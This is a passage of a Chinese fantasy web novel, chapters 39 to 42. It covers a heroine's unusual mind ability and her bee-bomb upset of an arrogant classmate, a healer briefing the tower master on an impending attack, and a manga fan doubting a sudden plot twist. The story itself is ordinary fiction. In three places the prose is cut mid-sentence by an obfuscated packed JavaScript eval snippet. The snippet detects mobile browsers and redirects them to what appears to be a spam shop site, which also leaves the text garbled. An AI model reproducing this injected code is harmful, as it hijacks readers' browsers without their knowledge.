苏清寒表现得就很无所谓。日子和过去没什么不同,只是安静了些。少了那些烦人的问候和过度的关注,她反而觉得更自在。 这跟她的能力有关。 在同龄人里,苏清寒是较晚觉醒的那一批孩子。 与她同辈的苏家小孩,大多在五六岁的年纪觉醒,而苏清寒一直过了十岁,才觉醒。 本来这都没什么关系,如果她继承了家传的能力,她就还是那个苏家的宝贝大小姐。 问题就出在,她没有继承到苏家招牌的“迦楼罗翼刃”,反倒觉醒了个此前从未有人听说过的“无我明镜域”。 沸血者在觉醒后就能冥冥之中感知到自己能力的名字,也可以自己为自己的名字起名。但苏清寒觉醒的这个能力,不但苏家的能力谱系里没有记录,沸血议会的档案库里也找不到类似案例。 尽管能力是沸血者的隐私,但这个怎么看都不像会是很强的战斗能力。 苏家的“迦楼罗翼刃”,能操控风与气压、凝聚出无形羽翼与刃锋,还能让使用者在空中自由翱翔。而制空权在沸血者的战斗中至关重要,与飞行相关的能力更是寥寥无几。苏家历代家主无一例外都是“迦楼罗翼刃”的拥有者。 一个能力上不能飞行、没有制空权的家主继承人,真的能继承苏家吗? 很多人因此盯上了苏澜手里的家主位。长老们开始频繁开会,旁系的长辈们也开始带着自己的孩子出入主宅。 作为母亲,苏澜不想放弃苏清寒。 但她也不想失去家主的位置。 最后,她到底还是保全了苏清寒的身份地位。苏清寒保留大小姐身份,享有一切待遇,但不再被列为继承人候选。苏澜保留家主职位,但需培养“合格的继承人”。 作为代价,她孕育了一个新的孩子作为替代,只求这个新孩子能继承家传的能力。 苏清寒不怨恨自己的母亲,也不怨恨自己的家族。 她觉得这很合理。 一个无法继承家族传承能力的人,确实不适合领导家族。母亲保住了位置,也保住了她的生活,这已经是最好的结果。 至于新来的孩子会不会继承“迦楼罗翼刃”,那是以后的事。 她更关心自己的“无我明镜域”。 发动“无我明镜域”能让她进入到一种神妙的状态,在能力发动期间,她的大脑会持续高频运转,她能同时处理十几条信息流,能在瞬间完成复杂的推演,能在战斗中对敌人的每一个动作做出预判。 但代价是,源血会以惊人的速度燃烧。就像是炽热的源血将血液连同她的大脑一起灼烧,逼着她用与死亡赛跑的速度来进行思考判断。 她曾偶然无意间,将这项能力发挥到极致,被迫进入到一种完全失去感性情感,理智得毫无人性的状态。 当时的苏清寒,感觉自己像是个漂浮在空中的灵体,莫无感情地睥睨着下方那个名为“苏清寒”的躯体。源血在燃烧,但她感觉不到温度,只看到数据。 身体的每一寸肌理她都能凭空感觉到,每一块肌肉也尽在掌控,她能精确地控制呼吸的频率、心跳的节奏,还能暂时屏蔽痛觉。只要她想,她甚至可以选择性地用未来需要承担的代价透支身体力量,将自己使用到极限。 她跟母亲说过这个感觉,当时苏澜问她:“你觉得这种感觉怎么样?” 苏清寒说:“要听实话吗?” “当然。” “糟透了。”她说,声音很平静,“我都感觉不到我活着的意义是什么了。” 所以除开战斗考核外,她很少将能力运用到这个程度。每个沸血者在觉醒后都会产生想无时无刻使用能力的冲动,那种力量在体内奔涌的感觉让人上瘾。 但苏清寒克制住了。 苏清寒大多只将这项能力运用在第一层段。这已经足够让她在文化课上拿到全优,在理论研究中领先同龄人。 她喜欢思考,喜欢做研究,尤其喜欢研究那些别人做不到的事情。 在去白塔上学之前,以炸掉自己卧室为代价,苏清寒无师自通地复刻出了失传已久的炼金术造物——自爆蜜蜂。 那是不到指甲盖大小的金属造物,外形像只圆滚滚的蜜蜂,内部刻满了复杂的炼金符文。只要预设好目标的详细信息,灌入足够的源血能量,无论天南海北,这玩意儿都能按照预定目标,定点定人自爆。 那是她根据炼金图谱里的残页,逆向推导出来的。尽管原图纸缺失了大半,她硬是通过对比参照其他图纸,把这个低级造物的剩余部分推导补全了。 包括她在白塔里偷偷琢磨的源血抑制器,其实也是仿制古代炼金产物制作的。 在研究方面苏清寒简直天才到令人嫉妒,但可惜的是,这些炼金产物实用性不足 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“到了白塔,照顾好自己。”苏澜说,“学业别落下,但也不用太拼命。有什么需要,就联系家里。” 苏清寒点头,抱了抱自己的母亲。 这几年苏澜过得也不轻松——家族内部的压力,对继承人的期盼,还有那个新出生的、被寄予厚望的儿子。小孩刚满两岁,还没到记事的年纪,姐姐就进去白塔读书了。哪怕进白塔前,苏清寒也没跟他见过几次面。 这孩子从小就和姐姐分开,也不知道日后能不能产生亲人的感情。 苏澜时常在思考这个问题。 等我老了,等我年纪大了,清寒她该怎么办? 她的弟弟会愿意照顾好姐姐吗? 然后预言者做出了那则预言——新生陆燃与他的朋友们是拯救世界的最大希望。 消息传到苏家时,苏澜正在书房处理文件。她放下笔,听完了汇报,陷入沉思。 陆燃,陆时彰的独生子,陆家板上钉钉的下一任家主。 这项决定她下得很快。 苏澜亲自找进了白塔,联系了塔主白珍,联系了新生年级的班主任,目的所求只有一件事:安排苏清寒成为陆燃的搭档。 为此,她付出了不少好处。 白珍也曾劝过她:“陆燃不是个好脾气的,你强行安排人给他,他们也未必真的能成为朋友。搞不好还会起反效果。” 当时的苏澜只是叹气。 “我知道。”她说,“但这是我能想到的,最好的办法了。” “先让孩子们接触着试试看吧……如果真的那样,就算了。” 唯一庆幸的是,事情没有发展到最糟的地步。 陆燃确实脾气不好,很难接近。苏清寒也不擅长与人相处,总是冷着一张脸,说话直来直去,还有些看不上陆燃这种不爱动脑子的肌肉笨蛋。 但他们还是在同一个小组。 哪怕团队有些内部不和,他们也绑定在一起,成了陆燃小队,或者说,“救世主小队”。 40. 苏清寒(下) 苏清寒看不上陆燃。 这件事从她见到陆燃的第一面起,就已经在心里盖棺定论了。 如果不是苏澜的推波助澜,她们就只会是两条平行线,苏清寒这辈子都不会跟陆燃扯上关系。 你问苏清寒为什么知道背后是苏澜在推波助澜? 别忘了,苏清寒是个天才。 她不是陆燃那种可以思考但是懒得思考的人,苏清寒是心里清楚但是不说出口的人。她的“无我明镜域”哪怕只解开第一层段,也足够她在知道班主任把她和陆燃分到同一小组时,瞬间理清背后的逻辑链条。 苏清寒知道母亲在为她的未来担忧,也知道跟陆燃打好关系是当下的最优解,但她不愿花这个心思。 不是不能,是不愿。 如果她愿意,完全可以用“无我明镜域”模拟出各种对话场景,推演陆燃的性格偏好,设计接近方案。但她觉得麻烦,而且……没意义。 人固有一死,甚至对于沸血者来说,这一天会比普通人来得更早。 所以她根本不担心苏澜想象的未来。 什么“老了怎么办”,什么“弟弟会不会照顾她”,这些在苏清寒看来都太遥远了。不值得为此改变,更没必要为了几十年后可能发生的事,去讨好一个脾气糟糕的混球。 但她也不会明摆着跟苏澜对着干。 她是妈妈,是世界上最爱苏清寒的人,不会有人比苏澜更爱自己了。 所以苏清寒至少不希望她难过。 那就得过且过吧。 她会尽量和陆燃成为搭档,在不让自己不高兴的前提条件下和他做朋友。如果实在处不来,那就算了,母亲应该也能理解。 这是苏清寒在入学第一周定下的策略。 初入白塔的陆燃完全是个混账东西。 这句话不是苏清寒的个人偏见,而是白塔一年级新生的普遍共识。开学第一周,陆燃就成功让全班三十五个人里的三十四个都想揍他——剩下那个是陆燃自己。 他们的初见完全是场灾难。 白塔的战斗训练课,一直有个老传统:新生入学后的第一节实战课,是全班大逃杀。在直径两百米的无障碍圆形训练场,自由战斗,可以使用武器或道具,但不能下死手,战斗到只剩最后一个人还站在场上。 输的人没有惩罚,赢的人也没有奖励。但这是一次亮相,一次在全体同届生面前确立“强弱”秩序的仪式。在沸血者的社会里,实力是最保值的硬通货。 在这节课前,苏清寒和陆燃连话都没说过。苏清寒上课总坐第一排,陆燃总坐最后一排。两人之间只隔着大半个教室,却像是隔开了两个世界。 但在这节课后,陆燃记住了苏清寒的名字。 那天的训练场气氛很躁动。 在听到老师宣布规则后,陆燃是很自信的。 打架嘛,他陆燃从小到大在这方面就没怕过谁。陆家能成为第一大家族,和家传能力的强大也脱不开干系。论战斗系的最强能力,“赫炽炎衣”说不上第一,但绝对能进前十。 他自信得很,这节课最后一定且只会是只剩他一个人,作为胜利者站在场上,看下面的手下败将们对自己俯首称臣。 然后,他就可以把这件事拿回家跟他爹吹水——看,你儿子去了白塔也是第一。陆时彰肯定会表面骂他嘚瑟,转头就在五大家族会议上“不经意”地提起来:我儿子在白塔第一节课就横扫全场。 想象是美好的。 现实是残酷的。 苏清寒可没打算让陆燃赢。 而且,苏清寒也不打算就这么认输。倒不是她对“第一名”有什么执念,而是单纯觉得——凭什么要让这个嚣张的家伙如愿? 这家伙在第一节课的自我介绍发言可谓是劲爆十足:“我是陆燃,我允许你们现在喊我陆燃或者陆同学。毕竟你们以后迟早都得喊我叫‘陆大人’,好好珍惜现在还能喊我陆同学的日子吧!” 课后陆燃刚出教室,苏清寒就听到有人背后吐槽,说要不是他背后有陆家撑腰,他们就打算在晚课路上围堵他揍一顿了。 这可不,现成的揍他一顿的机会这不就来了? 白塔里不止有家族里的孩子,更多的其实是非家族传承觉醒的沸血者。离了陆家,也不是谁都看得惯陆燃那臭脾气。 只是一句简单的“你们想看他吃瘪吗?” 几乎不花吹灰之力,苏清寒就说服了其他同学。 在知道和陆大少爷同届同班后,大部分同学就已经放弃了夺得头筹的心。至于第二第三,没能拿到第一就都没有意义。既然如此,还不如齐心协力一起扳倒陆燃。 第一个响应她号召的就是赵铁心。 同学们私下商定好,只要战斗开始,所有人直接全部集火陆燃,哪怕不能第一时间放倒他,也不能让他好过。在这期间,所有人听从苏清寒的指挥,被淘汰了就淘汰了,败者认栽。如果真的把陆燃成功放倒,大家再各凭本事争夺胜利。 于是陆燃就遭了殃。 老师说完开始的瞬间,三十四个人的目光齐刷刷地看向他。 即使在家里跟那么多同辈乃至长辈过过招,陆燃也没见过这阵仗。三十四个人,三十四种能力,哪怕其中大半都不到B级,汇在一起也是股恐怖的力量。 强化拉满的赵铁心完全是个钢铁战车。老师刚喊完开始,他就一个俯身蹬地,地面都被他踩出细碎裂痕,像炮弹一样直射向陆燃。陆燃认出这是赵家的强化系能力,不敢和他硬碰硬。 倒不是怕打不过,而是硬碰硬会消耗太多体力,后面还有那么多人呢。 可问题是他无路可退。 陆燃的左、右、后方都有不同的同学开启能力对他攻来,比较糟糕的是,他认不出这些人的能力。白塔的新生来自天南海北,能力千奇百怪,不是所有人都有家族传承能力能让人一眼认出。 但这些人都知道他的能力。陆家的名头还是太响了,只要进入沸血者的世界,就会知道陆家人的能力是“赫炽炎衣”。 相比起未知的其他能力者,陆燃还是决定直接和赵铁心正面硬刚。 “赫炽炎衣”瞬间附体,青色的火焰像半透明的外衣般包裹住他,温度骤升,高温甚至让周围的空气都变得扭曲。火焰以他为中心,瞬间扩散出半径五米的领域,影响范围内所有人都被迫进入燃血状态。 C级及以下的沸血者脸色骤变,直接因此被迫退出战场认输。在感受到陆燃能力的短短一瞬,他们就感受到了血蚀程度在不断上涨,犯不着为了一节战斗课而燃烧生命。 在场的只剩下B级以上的沸血者们,参战人数瞬间从三十五人降至九人。 压力骤减,但陆燃的脸色没变好。 因为赵铁心还在冲过来。 作为被陆燃主要针对的人,每前进一步,皮肤的灼烧感就强一分,血液在血管里沸腾咆哮,大脑里有个声音在尖叫让他停下。赵铁心本想后退换个方向进攻,却感觉自己脚下像是深陷泥潭,只有朝着陆燃直线前进才能不受影响,一旦想改变方向,阻力就会成倍增加。 既然如此,那就如他所愿! 赵铁心不愿认输! 兴奋至极的笑容在脸上涌现,血液再度沸腾!过度燃烧! 冲锋! 加速! 再冲锋! 然后,他就被老师拦下了。 老师亲自下场给赵铁心判负。白塔不允许学生在校内和同学以命相搏,哪怕是自愿的也不可以玩命。赵铁心直接被旁边的校医老师接走带去检查身体。 但赵铁心吸引住陆燃注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053056|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意力的时间,给了其他人进攻的机会。 在赵铁心不退反近的时候,有辅助系的能力者成功给陆燃挂上了眩晕效果,让陆燃短暂头晕失神。而其他攻击系的能力者也把握住了机会,在那短暂的时间内,陆燃连续受到了大量同学们“爱”的重击。 这些攻击成功让陆燃身上挂了彩,换句显然易见的话来说,他瞬间被打进了半血状态。 陆燃半跪在地上,喘着粗气。 后背火辣辣地疼,侧腹的肋骨可能裂了,手臂在流血。他抬起头,视线扫过周围。 众所周知,BOSS如果进了半血,就要转阶段了。 此刻作为BOSS的陆燃也不例外。 他浑身燃起火焰,不可熄灭的无根之火顺着无形的丝线蔓延。 所有对陆燃造成过攻击的人都为此付出了惨痛代价,火焰顺着无形的能量线条烧到了他们自己身上,疼痛难耐。同学们一个接一个地惨叫着对老师喊出认输二字,陆燃也守序地解除了所有认输者身上灼烧的火焰。 在最后,场上只剩下了陆燃和负责指挥同学们进攻的苏清寒。 “你还不认输吗?辅助能力者。”陆燃问她。 苏清寒摇摇头。 “三。” 她开始倒数。 “二。” 苏清寒声音平静,没有起伏。 陆燃愣了一下,随即冷笑:“装神弄——” 苏清寒眼带笑意。 “一。” 轰——!!!! 前面说过,苏清寒上学前炸过一次家。 这并非全无收获。 爆炸的那个,是她的半成品。在第一次的控制不当后,她用备份材料搭上手头剩下的所有资金,还找母亲又预支了点生活费,做出了完全体的自爆蜜蜂。 而现在,这个被她留在手里作为珍藏的失传炸弹,用在了陆燃身上。 这回,轮到老师紧急截断爆炸来保护陆燃了。 作为炼金造物,自爆蜜蜂最大的优点就是可控,不但爆炸对象是可控的,爆炸范围也是可控的。这是苏清寒做出的完全体,哪怕她直接丢出去,会被自爆所影响的也只有陆燃和他周身十厘米范围内的环境。 ……只是她没想到这东西威力能有这么大。 后面她被老师抓去办公室狠狠教育了一番。 她刚才是真的差点杀了陆燃,也是真的差点在学校里闹出人命来。 陆燃倒是对她刮目相看了。 能做出威胁到陆大少爷的生命的东西,无论其本人战斗力如何,陆燃都会高看她一眼的。陆燃只是自信,不是自大。 所以后面陆燃也没抗拒班主任让苏清寒跟他做搭档的事情。 他甚至主动找过苏清寒一次,说:“既然要当搭档,至少得知道彼此的能力。你的‘无我明镜域’到底是什么?” 苏清寒说:“分析、预判、计算最优解。” “就这?” “就这。” 陆燃想了想,点头:“行。那以后战斗你指挥。” 他说得理所当然,仿佛这是一件再自然不过的事。 苏清寒没说话,但心里对他的评价提高了一点点——只有一点点。 经此一战,所有人都对苏清寒产生了些许敬畏。不为别的,只为她本人的能力。你别管战斗方面运用得如何,战斗考核可不限制人使用武器,脑子好也是她个体实力的一部分。 还有人因此开始叫她苏大小姐,因为她的搭档是陆大少爷。 这个称呼带着点调侃,但也带着认可。能和陆燃平起平坐的人,至少得有配得上的实力。 只是没人想到她居然真的是苏家的苏大小姐。 怎么会有能力不是“迦楼罗翼刃”的苏家本家小姐啊! 41. 我很关心你 告诉我吧 林砚被骂了。 也不能说是被骂,应该说,被白珍念叨了。 余绣纶在任务结束后,给白珍发了任务简报。 执行院的报告一向详尽,里面自然也包括了和林砚相关的内容。比如“林老师在行动期间曾短暂脱离安全点,后与队长一同返回”,以及“地下城清剿行动期间,林老师曾进入现场”这类客观记录。 所以,白珍知道林砚私下一个人去了厄科斯的事情了。 “你知道那里面有多危险吗?”白珍说话时眼神严肃得吓人,“当时王敬在里面,他的血魔上级也在里面。如果被发现了,如果身份暴露了,你想过后果吗?” 林砚虚心任讲。 他确实没什么好辩解的。去了就是去了,冒险就是冒险,结果没出事是运气好,但不是每次都能有这么好的运气。这个道理他懂。 他也没有需要责怪余绣纶的。相反,他对余绣纶的工作能力感到赞赏。 无论是她详尽的任务报告,还是她细致出众观察力,都让林砚感到赞赏。就凭她后面完全一副若无其事的样子,揣着明白装糊涂,还没让林砚发现异常这点,就能证明她配得上执行院精英队长的身份。 不耽搁正事,但也不错过细节。由她做队长,把事情交付给她,确实是会很让人放心的。 白珍的教育以一声叹气收尾,声音很轻,像是妥协。 “算了。”她说,摆摆手,“老身也不是你的父母,对你教育多了也不合适。但是林小子,你可上点心吧。” “你对我、对沸血界,都是独一无二的重要人物。不只是因为你的能力,更因为……”白珍顿了顿,像是在斟酌用词,“你是现在唯一一个能让那群孩子看到希望的人。” 她指的是预言里的救世主们。 陆燃、苏清寒、赵铁心、白晓。 “他们背负的东西太重了。”白珍说,“预言、家族、整个世界的期待。有时候我看着他们,都觉得累。但你来了之后,他们好像轻松了一点。” 林砚没接话。 他不知道该接什么。 “所以,”白珍继续说,语气缓和下来,“下次再有这种事情,一定要提前跟我说一声。让我做下准备,尽量不要亲身涉险。我不是要限制你,只是至少让我知道,让我有个心理准备。” 林砚点头称是。 态度端正,语气诚恳。 对话到这里本该结束了。白珍该说的说完了,林砚该听的听完了,两人可以各忙各的。 但林砚没动。 他站在原地,眨了眨眼,然后嘴角慢慢勾起一个弧度。那笑容很浅,带着点试探,还有一点点无辜。 “嗯……” 林砚拉长了声音,像在思考什么。 白珍刚缓和的表情又是一凝,她无言地凝视着林砚。 林砚笑得无辜,语气也很平静,就像是出门看到太阳后随口来了句今天天气真不错。 “那我现在先跟您说一下?关于血魔要袭击白塔的事。” 白珍:“……” 林砚告诉白珍,他当时跟着王敬潜入了厄科斯,在外面听到了王敬跟接头人的对话。 王敬的接头上司是亚巴顿,他成功向血魔传达了与林砚相关的关键信息,而且血魔当场就做出了要袭击白塔抢夺林砚的决定。 “预计七天内,”林砚说话时一直在观察白珍的表情,“白塔就将面临血魔的‘突然’袭击。” 白珍的眉头皱了起来。 虽然林砚原本今天就是为了把这事告诉白珍才过来的,但既然老太太此时意见很大,刚好拿来安抚她一下。用一个重要的情报转移注意力,顺便体现“我去冒险是有收获的”,一举两得。 面对自己欣赏的孩子,老太太还是很好哄的。 白珍的注意力果然立刻转移了。 “七天……足够了。”她低声重复,“既然他们想来,那就让他们来。” 白珍已经开始在脑子里排布计划了。 “你先回去吧,你这几天就待在医务室,别乱跑。”她对林砚说,“血魔的目标是你,你出现的地方就是最危险的地方。我要尽量缩小包围圈。” 既然时间已经明确,白塔可不打算打没准备的仗。 林砚点头,转身离开。 手碰到门把时,白珍忽然又叫住他。 “林小子。” 林砚回头。 老太太站在办公桌后,阳光从她身后照过来,她背着光,看不清表情。 “小心点。”白珍说,“别受伤了。” 走出塔主办公室时,他松了口气。 教育环节结束了,情报也传完了,接下来他只需要等—— 然后他停下了脚步。 因为门外有人。 不止一个。 陆燃、苏清寒、赵铁心、白晓。 主角四人整整齐齐地在塔主办公室外的走廊里,呈半圆形散开,正好堵死了每一条能让他离开的路。他们看起来像是偶然路过,但站位太巧妙,巧妙的让人无法相信这是巧合。 他们显然已经等了一会儿,陆燃靠在对面的墙上,双手插兜;苏清寒站在窗边,看着塔外的风景;赵铁心蹲在地上发呆;白晓则直接坐在边缘的扶手上,小腿垂在下面随着重力摇晃。 听到开门声,四个人同时转过头来。 赵铁心第一个站起来,脸上笑眯眯地:“林老师,恭喜你恢复健康!” 苏清寒转身,走到林砚面前,表情认真:“林老师,我有些没太想明白的事情想跟你聊聊,现在应该有时间吧?” 白晓也从扶手上跳下,小跑过来。 “林砚,”她说,声音很轻,“我好想你。” 等他们说完,陆燃才开口:“林医生,去你那聊聊?” 林砚挨个看了他们一眼。 四张年轻的脸,四种不同的表情,但目标是一致的——他们都想知道些什么。 林砚皱起眉头。 然后问道:“你们今天都不上课?” 最终,还是在校医办公室齐聚了。 上一回说办公室小,坐不下太多人,是跟陆燃和赵铁心开玩笑。 但这回,林砚是真觉得办公室有些挤了。 主角四人挤在林砚对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17056823|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的长沙发上。沙发原本设计是坐三个人的,现在硬塞了四个. 白晓本来还想用没地方坐为借口做到林砚身边来,被苏清寒一句平淡的“你可以坐我腿上”给拉了回去。小姑娘体态纤细,苏清寒坐的时候把腿稍微张大些,白晓就正正好可以坐进夹缝里。 白晓侧着身子坐进去,整个人几乎靠在苏清寒身上,表情有些委屈。 医务室从未如此热闹过。 这群人还会自己给自己换茶倒水,真就跟回了家似的,完全不需要林砚招待。 四个人自己招待完自己,相互对视。 毫不意外地,最后还是由苏清寒充当了发言人。 苏清寒对林砚笑了笑,看起来好像还挺开心。 “林老师,”她说,放下茶杯,“我们都是喜欢直接的人,我就直接问吧。” 她直视林砚的眼睛。 “白塔最近发生什么事了?林医生你和塔主奶奶是做了什么协定吗?” 林砚倒是猜到了他们会问类似的问题。 主角团或许年轻,或许冲动,但他们不傻。 不过他在想的是,该告诉他们多少,能说多少。全盘托出肯定不行,但完全隐瞒也不现实。他们已经察觉到异常,如果避而不答,反而会让他们胡思乱想,或者自己冒险去调查。 只要是与血魔有关的事情,他们作为“救世主小队”都必然会被卷入其中。这是世界的规律,也是他们的命运。 看林砚没有说话,像是在思考,陆燃也跟着补了句。 “林医生,”陆燃说,身体前倾,手肘撑在膝盖上,“别太把我们当孩子看。” 他的表情很认真。 “我们可是救世主小队。” 说到这个,陆燃还有些不太好意思,脸有点红。 赵铁心接过话来继续。 “主要是,一般如果有计划的话,我们也多半会被算在里面。”他语气有些无奈,“之前的每一次都是,无论我们知不知情、愿不愿意。要么是突然接到任务,要么莫名其妙被卷了进去。” “以往只要我们去问塔主,她都会告诉我们。但这次我们去问,她说主要做计划的是林老师你,由你来决定能说多少。” 苏清寒总结道:“所以我们才来问你。林老师,可以告诉我们发生什么事了吗?” 四双眼睛看着林砚。 陆燃的眼神就像他本人的能力一样灼人,哪怕只是被他盯着看都会有被灼烧的错觉。 苏清寒的眼神清醒又平静,有时候林砚和她对视时还会有照镜子般的错觉。 赵铁心自从被救起后就对林砚有着难以言喻的信任,他的眼睛在说:不论你说什么我都会相信你的。 而白晓的眼神里承载了太多林砚不愿承受的情感,她看林砚时,眼睛里全是林砚但又不仅仅只有林砚。 该怎么和他们说呢? 林砚开始纠结了。 【砚宝。】 系统的声音突然在脑海里响起。 【漫画更新了,要不你先看完漫画内容,再回复他们?】 林砚毫不犹豫地决定先看漫画。 42. 分析大佬很忧愁 作为《沸血升腾》的忠实老粉,十年老二次元,被论坛封为“哥”字辈的老论坛分析家,猫吃鱼最近有些忧郁。 虽然漫画已经恢复了更新,剧情重新走上正轨,主角团状态回暖。 按常理说,这该是普天同庆的好事。 但猫吃鱼总感觉有些怪味。 现在第九十四话也更新了,他还是那个感觉——怪。 具体哪里怪,他说不上来。画面依然精致,分镜依然流畅,但就是有种说不出的别扭感,像是你吃了十年的一家老店,突然换了厨子。菜还是那些菜,配料没变,火候也对,但你就是能吃出那一点点差异。 他不知道该怎么形容这种感觉。 猫吃鱼关掉漫画页面,打开论坛。 首页飘着一堆帖子,大多都和林砚相关。 他一个个点开,又一个个关掉。 讨论很热闹,粉丝们很兴奋,剧情在往好的方向发展——赵铁心被救回来了,新角色林砚又强又帅,血蚀这个贯穿全作的死局问题有了转机。 一切都很好。 但猫吃鱼就是高兴不起来。 他没有把这个感觉告诉任何人,哪怕是那些和他一起追更讨论、还互相调侃“狗贼又犯病了”“这回真要寄了”的老朋友们。 一方面是不想给自己心爱的漫画泼冷水,另一方面…… “哎……” 猫吃鱼无意中叹了口气。 无论从哪个方面来说,漫画内容至少都在往好的方向发展。 他盯着天花板看了会儿,然后坐直身体,重新点开漫画页面。 再看一遍。 最新一话总算是回归了主线。 本期的封面角色,是昏迷已久的赵铁心。 白发蓝眼的赵铁心位于画面正中心,少年人笑容灿烂,一条胳膊挂在陆燃肩头,两人勾肩搭背地往前走去。被赵铁心勾着的陆燃,看起来有些不情不愿,嘴角却怎么都压抑不住笑意。 夕阳把两人的影子拉得很长,整个画面都染成了温暖的橘色。 温暖,治愈,充满希望。 这部漫画里,已经许久没出现过如此温情的画面了。 漫画的开头,是林砚和白珍的背影。 林砚和白珍一前一后走下楼梯,背景是医务处地下病房那条熟悉的走廊。画面切换,来到放着透明医疗舱的房间。 赵铁心重伤后被安置在这里。 他们走到那个泡着赵铁心的玻璃罐子前面。 液□□体从舱体底部的排水口流出,水平面缓缓下降,露出赵铁心的脚踝、小腿、膝盖、腰部、胸口。液体流尽时,赵铁心闭着眼睛,身体微微前倾,被舱内的机械臂固定着。 罐子缓缓打开,机械臂撑着赵铁心托到林砚身前,白珍和林砚对视一眼。 直到现在,整个漫画里都没有出现任何台词,也没有任何旁白。 然后画面切到林砚的侧脸特写。 林砚垂下目光。 蓝色的背景光打在他脸上,在颧骨和鼻梁处形成冷硬的明暗交界线。睫毛垂下,在眼睑处产生小片阴影,眼睛失去高光,被遮进黑暗里,嘴唇抿成一条直线。整张脸没有任何表情,眼睛里也没有任何情绪波动。 这张脸很美,美得不真实。就像高坐天庭的神明往人间投下一瞥,带着天然的疏离感。 而他后面所做的,越发加深了他神性的一面。 黑底白字的“祸血凭依”占据了整整一格。 然后是全页大格。 作者在这张画上毫不吝啬笔墨。林砚的手按在赵铁心的脖颈,掌心下绽放出复杂的光纹。银白的符文在他掌下重构,旋转,交织,像是有生命的活物那样爬满赵铁心的身体。绚丽的特效不要钱似的铺洒,勾勒着林砚使用能力的模样,连他掌下赵铁心的睫毛都根根分明。 狗贼在这个时候炫起技来。 在他的能力作用下,赵铁心脸上的血蚀肉眼可见的褪去。直到林砚收回手,光纹瞬间消散。 白珍松了口气,然后开始和林砚聊天,作者在这里用他们的对话,交待了些剧情。 《沸血升腾》的漫画平台有弹幕功能,粉丝们习惯边看边吐槽。猫吃鱼平时也会开着弹幕看漫画,看大家的反应也能提供一些分析灵感。弹幕在此时成片成片地刷过,还有意地没有覆盖到林砚的脸。 「果然!我就说是治疗系角色吧!之前猜对的举手!」 「说起来之前有人看到过这个家族吗?」 「我去,狗贼这么上心吗,上次放个能力这么大排场的可是白珍啊!林医生排面!」 「林医生好美貌我舔舔舔舔——这侧脸这睫毛这手prprpr」 「赵铁心眨眼了欸,明明醒了也不吭声在这里装睡,他之前不这样的吧?」 「装睡+1,铁心你是不是害羞了hhhh」 「只有我关心血蚀真的能逆转吗?那之前死掉的那些人算什么……」 血蚀这个贯穿全作的绝望设定,终于出现了转机。粉丝们应该高兴,角色们应该庆幸,故事应该因此迎来曙光。 但猫吃鱼就是觉得不对劲。 太顺了。 一切都太顺了。赵铁心濒死——新角色出现——能力克制血蚀——危机解除。这条剧情线干净利落,没有任何波折,就像是为了解决某个难题而专门设计的工具人剧情。 猫吃鱼打算着重回看的正是这块剧情,崭新登场的、独立于五大家族外,在沸血界具备重大影响力的林家。 主要势力、核心设定、关键矛盾,这些基础要素一般都会在作品里尽早确立,给读者一个稳定的认知基础。《沸血升腾》前三十话就做得很好,后面的剧情也一直都是在这个框架内展开。 但现在已经是九十四话了!还突然从框架外拉出个此前从未做过铺垫或伏笔的内容出来? 林家就像凭空冒出来的,之前没有任何暗示,没有任何侧面描写,甚至没有人在对话里提过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064440|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这合理吗? 猫吃鱼切回文档,敲下第一行字: 【关于突然登场的林家的背景分析】 然后他停住了。 他不知道该怎么分析这部分内容。 从剧情发展的角度来说,引入一个能治疗血蚀的势力,确实能为故事打开新的可能性。血蚀这个设定在前中期制造了大量冲突和悲剧,但也逐渐把故事逼进了死胡同——如果所有角色都面临堕化风险,那剧情只能不断重复“战斗-受伤-血蚀-绝望”的循环。 现在有了转机,故事可以往新的方向发展。 但从叙事技巧的角度来说,这个引入方式太生硬了。 没有伏笔,没有暗示,没有前期任何一点蛛丝马迹。就好像作者某天突然一拍脑袋:对了,加个能治血蚀的家族吧! 然后就把林家和林砚塞了进来。 猫吃鱼尝试从另一个角度思考:也许作者早有规划,只是前期没机会展现? 他快速回忆前面的剧情。从第一话翻到第九十话,所有和林家可能相关的线索…… 没有。 真的没有。 哪怕一句台词,一个背景板上的名字,一个传说故事里的提及,都没有。 而且,他内心深处还有个更隐忧的想法。 这个想法他不敢写出来,甚至不敢细想。 《沸血升腾》前面因为剧情出问题,长时间断更过。作者在后记里承认“需要重新思考故事走向”。那么现在这个“林家”的设定,到底是原本就规划好的一部分,还是断更期间临时想出来的补丁? 如果是后者…… 猫吃鱼摇摇头,强迫自己停止这个念头。 不能这么想。要对作者有信心。那么多坑都填了,那么多伏笔都收了,作者的能力有目共睹。这次应该也一样,林家肯定有它的作用,只是现在还没展开。 对吧? 